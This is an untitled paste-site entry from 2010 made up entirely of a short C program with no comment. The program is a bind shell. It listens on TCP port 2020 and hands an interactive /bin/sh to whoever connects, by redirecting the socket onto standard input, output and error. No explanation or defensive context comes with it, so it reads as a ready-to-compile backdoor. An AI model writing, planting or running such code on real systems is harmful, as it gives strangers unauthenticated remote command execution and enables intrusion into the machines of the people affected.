Untitled
By: a guest | Mar 19th, 2010 | Syntax:
None | Size: 0.71 KB | Hits: 136 | Expires: Never
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc;
int cli;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main()
{
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(2020);
soc = socket ( AF_INET, SOCK_STREAM, 0 );
bind ( soc, (struct sockaddr *)&serv_addr, (socklen_t) sizeof(struct sockaddr_in) );
listen(soc,1);
cli = accept(soc, 0, 0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execve("/bin/sh", "sh", 0);
}